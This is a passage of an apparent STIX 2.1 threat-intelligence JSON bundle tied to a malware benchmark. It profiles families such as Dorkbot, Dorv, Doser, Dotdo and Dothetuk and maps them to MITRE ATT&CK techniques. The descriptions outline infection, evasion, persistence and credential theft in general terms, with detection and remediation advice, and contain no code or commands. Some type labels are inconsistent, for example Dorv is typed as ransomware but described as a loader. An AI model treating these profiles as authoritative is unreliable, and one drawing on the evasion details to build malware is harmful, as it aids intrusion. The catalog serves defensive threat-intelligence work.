      "description": "Dorkbot (also tracked across intelligence communities as NgrBot and Worm:Win32/Dorkbot) is a notorious multi-vector worm and modular botnet family that infected over one million endpoints across 190 countries between 2011 and its international coordinated disruption by the FBI, Microsoft, DHS CISA, and international law enforcement. Formally documented under CISA Technical Alert TA15-337A, Dorkbot leverages aggressive social-engineering propagation over Skype, Windows Live Messenger, Facebook Chat, Twitter, and removable USB drives weaponizing shortcut (.LNK) vulnerabilities. Once established, Dorkbot connects via encrypted IRC or HTTP protocols to cybercriminal command-and-control servers, enabling adversaries to execute arbitrary commands, harvest banking credentials and FTP logins through web browser form grabbing, conduct high-volume Distributed Denial of Service (DDoS) SYN and UDP floods, and deploy secondary malware loaders including ransomware and cryptocurrency miners. (Observed samples in benchmark: 86)",
      "is_family": true,
      "malware_types": [
        "bot"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Dorkbot",
        "NgrBot",
        "Backdoor.Win32.NgrBot",
        "W32/Dorkbot.worm",
        "Trojan.Dorkbot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dorkbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dorkbot"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "TA15-337A"
        }
      ],
      "labels": [
        "botnet",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0267328f-052f-5284-af5c-274624be9a3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f172d4d0-bd8c-5e82-8081-2b938f54be81",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorkbot exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69b1a94f-2563-5638-82f4-45ec137dc1e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f172d4d0-bd8c-5e82-8081-2b938f54be81",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorkbot exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--190c31a0-2d44-541e-8270-ffa2d2ff974e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f172d4d0-bd8c-5e82-8081-2b938f54be81",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorkbot exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f2608fc-deb6-50c1-8d89-8cead3602a8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f172d4d0-bd8c-5e82-8081-2b938f54be81",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorkbot exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf622bbc-a778-5aca-bb01-f71eebc811d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f172d4d0-bd8c-5e82-8081-2b938f54be81",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorkbot exhibits technique T1498 (Network Denial of Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62016b1f-80c8-5c4b-971b-b71a6cc0cfb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f172d4d0-bd8c-5e82-8081-2b938f54be81",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorkbot exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f014a0e1-1183-559d-ace2-b85aafed8f28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dorv",
      "description": "Trojan:Win32/Dorv is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Dorv</b><br>To an end-user, a Dorv infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Dorv is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Dorv is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Dorv frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Dorv reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dorv",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dorv"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d8a5cbaf-89a1-5527-add2-5479fc609ce1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f014a0e1-1183-559d-ace2-b85aafed8f28",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorv exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19d002cf-3e91-57e9-9d77-68a07b997197",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f014a0e1-1183-559d-ace2-b85aafed8f28",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorv exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--434dee6c-5891-5134-9bfb-75fefe3e5c00",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f014a0e1-1183-559d-ace2-b85aafed8f28",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorv exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95f05675-2c26-57df-ae6d-a72a0353a4e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f014a0e1-1183-559d-ace2-b85aafed8f28",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorv exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3406ad1b-85e5-595a-bc22-d7e5b2b298dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f014a0e1-1183-559d-ace2-b85aafed8f28",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorv exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3268b7ee-596a-531a-aae8-35332b10ab0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Doser",
      "description": "<h3>Executive Summary</h3>\nDoser is a classification assigned to a specific category of malicious utilities (HackTools) and Trojans designed to execute Denial of Service (DoS) or Distributed Denial of Service (DDoS) attacks. Unlike stealthy malware designed for espionage or data theft, Doser's sole objective is brute-force disruption: overwhelming a target web server, network, or IP address with a massive flood of anomalous traffic, rendering the service unavailable to legitimate users.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDoser tools are often standalone executables downloaded manually by \"script kiddies\" from hacking forums. However, in an enterprise context, a \"Doser\" detection often indicates that a corporate endpoint has been silently compromised and conscripted into a larger botnet, tasked with participating in coordinated DDoS attacks against external targets.\n\nUpon execution, Doser prioritizes rapid, high-volume network activity:\n<ul>\n<li><strong>Traffic Generation:</strong> The malware is engineered to generate a massive volume of network packets. This can take various forms depending on the target, including UDP floods, TCP SYN floods (exhausting the server's connection state tables), or HTTP GET/POST floods (exhausting web server application resources).</li>\n<li><strong>Command and Control (Botnet Clients):</strong> If the Doser is part of a botnet, it runs silently in the background, maintaining a persistent connection to a C2 server (often via IRC or HTTP). When the botmaster issues a command, the infected machine immediately begins attacking the specified target IP address.</li>\n<li><strong>Resource Exhaustion:</strong> The sheer volume of packets generated by a Doser attack often exhausts the outbound bandwidth of the infected host's network, causing secondary disruptions for legitimate users on the same LAN.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe presence of Doser malware is a significant security incident. If an internal machine is participating in a DDoS attack, the organization's public IP address will likely be blacklisted by external ISPs and security vendors. Furthermore, the infection indicates a fundamental failure of endpoint security, as a threat actor was able to successfully execute arbitrary code.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The infected machine must be immediately isolated to halt the outbound flood of malicious traffic and prevent further participation in the DDoS attack.</li>\n<li><strong>Network Traffic Analysis:</strong> Responders should analyze firewall and NetFlow logs to identify the specific C2 server the malware was communicating with, and block that infrastructure at the perimeter.</li>\n<li><strong>Endpoint Eradication:</strong> Utilize enterprise EDR to terminate the Doser process and remove any associated persistence mechanisms (Run keys, Scheduled Tasks). Because botnet clients are often bundled with info-stealers, a thorough forensic sweep for secondary payloads is mandatory.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.Doser",
        "Trojan.DDoS.Doser",
        "Win32/Doser"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Doser",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/doser"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aada77e2-f7f7-5cb3-b0d2-341e973ecbee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3268b7ee-596a-531a-aae8-35332b10ab0f",
      "target_ref": "attack-pattern--de90bafb-778c-5ec0-a6f3-6def0998c61c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doser exhibits technique T1498.001 (Network Denial of Service: Direct Network Flood)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28767413-f1d3-55cf-b9f3-0ca90fe8d983",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3268b7ee-596a-531a-aae8-35332b10ab0f",
      "target_ref": "attack-pattern--c13f7538-cfc1-5a57-8ba2-d4055dfcc13c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doser exhibits technique T1498.002 (Network Denial of Service: Reflection Amplification (Used for Spam/DDoS))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d57e7ccf-f607-577f-aa01-86eec4cbde73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3268b7ee-596a-531a-aae8-35332b10ab0f",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doser exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--93d2dc0c-8a3a-58a2-ac11-07d18e7fd339",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dostre",
      "description": "Dostre (identified across security telemetry and antivirus engines as Trojan:Win32/Dostre, Ransom:Win32/Dostre, and Trojan.Dostre) is a multi-stage Windows trojan and initial compromise agent active since 2016. Frequently distributed through spam email attachments, malicious software keygens, and compromised torrent distributions, Dostre establishes an initial foothold by deploying heavily obfuscated stubs into hidden user directories. Dostre conducts immediate host discovery\u2014querying local hardware specifications, active antivirus processes, and network interfaces\u2014before communicating with remote C2 servers via encrypted HTTP beacons. Depending on instructions returned from the C2 infrastructure, Dostre can act as an extortion screen locker, deploy secondary ransomware modules, or inject backdoor routines into native Windows processes like svchost.exe to establish long-term persistence. (Observed samples in benchmark: 35)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Dostre",
        "Ransom:Win32/Dostre",
        "Trojan.Dostre",
        "Win32/Dostre",
        "Trojan:Win32/Dostre.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dostre",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dostre"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--912d36fd-ddd3-59f2-aa5e-3ab0d2bf75dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dotbundle",
      "description": "Adware:Win32/Dotbundle is an intrusive Potentially Unwanted Program (PUP) designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Dotbundle</b><br>To an end-user, Dotbundle manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Dotbundle is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dotbundle",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dotbundle"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--319e6081-e60d-5250-a2af-57409ea883f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--912d36fd-ddd3-59f2-aa5e-3ab0d2bf75dd",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotbundle exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48f48f1c-1bee-532a-a240-6deb9a67c4df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--912d36fd-ddd3-59f2-aa5e-3ab0d2bf75dd",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotbundle exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7bd2147e-d9ef-5b1a-8770-b774eee92d25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--912d36fd-ddd3-59f2-aa5e-3ab0d2bf75dd",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotbundle exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c538d38-6b34-5f68-ad4d-2d15e3e5d99e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--912d36fd-ddd3-59f2-aa5e-3ab0d2bf75dd",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotbundle exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cc744573-6905-5331-92f3-e806cca3c8d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dotdo",
      "description": "Dotdo (tracked across enterprise antivirus vendors as Adware:Win32/Dotdo, Trojan:Win32/Dotdo, and Adware.DotDo) is a persistent adware engine and local network proxy hijacker documented by Microsoft Defender, Trend Micro, and Malwarebytes. Dotdo is commonly delivered through deceptive software installers, pirated software cracks, and drive-by download pop-ups. Once active on a host, Dotdo establishes a local proxy listener on a dynamic high-numbered TCP port and reconfigures Windows Internet Settings (ProxyServer and AutoConfigURL) under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings to route all web browser traffic through its local interception engine. By intercepting outbound HTTP and HTTPS sessions, Dotdo injects unwanted commercial banner ads, pop-under windows, and sponsored affiliate search results into visited web pages. Furthermore, Dotdo actively hooks DNS queries and blocks connections to security vendor update domains and endpoint detection telemetry endpoints, effectively undermining host defense posture. It sustains long-term persistence through registry auto-start keys and hidden Windows services. (Observed samples in benchmark: 1,678)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Dotdo",
        "Trojan:Win32/Dotdo",
        "Win32/Dotdo",
        "Adware.DotDo",
        "PUA.Win32.DotDo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dotdo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dotdo"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f8d8dab-f380-5211-bf65-422dfba4d50e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc744573-6905-5331-92f3-e806cca3c8d2",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotdo exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c6cc67d-4620-507c-8233-f09d876fe0c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc744573-6905-5331-92f3-e806cca3c8d2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotdo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfb6a1c8-baf3-5fdf-98da-2cfdb0483be4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc744573-6905-5331-92f3-e806cca3c8d2",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotdo exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81902ffd-4e4c-5500-8309-d2dd8347514f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc744573-6905-5331-92f3-e806cca3c8d2",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotdo exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e49920e-b849-5c76-a30b-b527acc048f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc744573-6905-5331-92f3-e806cca3c8d2",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotdo exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--9a1314ae-672a-569e-8f8c-6050eee9bc12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1557.002: Adversary-in-the-Middle: ARP Poisoning / Local Proxy Injection",
      "description": "MITRE ATT&CK Technique T1557.002 (Adversary-in-the-Middle: ARP Poisoning / Local Proxy Injection) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1557.002",
          "url": "https://attack.mitre.org/techniques/T1557/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--172d1c52-38d9-5fd4-8baf-8c828267b9e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc744573-6905-5331-92f3-e806cca3c8d2",
      "target_ref": "attack-pattern--9a1314ae-672a-569e-8f8c-6050eee9bc12",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotdo exhibits technique T1557.002 (Adversary-in-the-Middle: ARP Poisoning / Local Proxy Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da87f926-caf0-5db2-91d2-eefde85f36a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc744573-6905-5331-92f3-e806cca3c8d2",
      "target_ref": "attack-pattern--069ca590-96fe-5515-a26f-f3dd434418fd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotdo exhibits technique T1090.001 (Proxy: Internal Proxy)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0af11e53-5dd4-5d93-a75a-991b09d53c93",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dothetuk",
      "description": "Dothetuk (cataloged across security vendors and threat intelligence databases under signatures including Trojan:MSIL/Dothetuk.A, Adware:Win32/Dothetuk, and Spyware.Dothetuk) is a hybrid .NET MSIL infostealer, spyware, and adware framework active since 2017. Disseminated primarily through deceptive software bundlers, cracked applications, and weaponized email attachments, Dothetuk executes dual-purpose malicious routines. On infected systems, the malware establishes persistence through registry run entries, captures desktop screenshots, logs keystrokes, and extracts cached credentials from web browsers. Concurrently, Dothetuk modifies web browser shortcuts and injects intrusive affiliate advertisements to monetize traffic while exfiltrating harvested user credentials to remote attacker-controlled servers. (Observed samples in benchmark: 51)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:MSIL/Dothetuk.A",
        "Adware:Win32/Dothetuk",
        "Spyware.Dothetuk",
        "Win32/Dothetuk",
        "MSIL.Dothetuk"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dothetuk",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dothetuk"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--93341c78-1902-5b71-a70c-cdc0fd27c2db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dotnet",
      "description": "Trojan:MSIL/Dotnet (or Generic.DotNet) is a broad, generic heuristic detection utilized by antivirus engines to flag highly suspicious or demonstrably malicious executable files that have been compiled using the Microsoft .NET framework (C#, VB.NET, F#). Because .NET code compiles to Intermediate Language (MSIL) rather than native machine code, it is exceptionally easy for malware authors to write, obfuscate, and iterate upon. This generic detection acts as a catch-all for newly compiled, unpackaged .NET malware that does not yet have a specific family signature.<br><br><b>Understanding the Dotnet Heuristic</b><br>To an end-user, an alert for 'Dotnet' simply means a virus was blocked. For a SOC analyst, this detection indicates the presence of a custom-written tool or a heavily obfuscated variant of known .NET malware (like Agent Tesla, AsyncRAT, or QuasarRAT). Malware authors heavily favor .NET because the framework provides built-in libraries for cryptography, network communication, and system interaction, drastically reducing development time.<br><br><b>Execution and Evasion Mechanics</b><br>Malicious .NET assemblies are typically delivered via phishing campaigns, often masquerading as legitimate installers or document viewers (`T1566.001`). Because MSIL can be easily decompiled using tools like dnSpy or ILSpy, threat actors rely heavily on advanced obfuscators (like ConfuserEx, SmartAssembly, or custom packers) (`T1027`). These obfuscators mangle class names, encrypt strings, and implement control flow flattening to confuse heuristic engines and human analysts. Upon execution (`T1204.002`), the .NET malware often utilizes 'Process Hollowing' 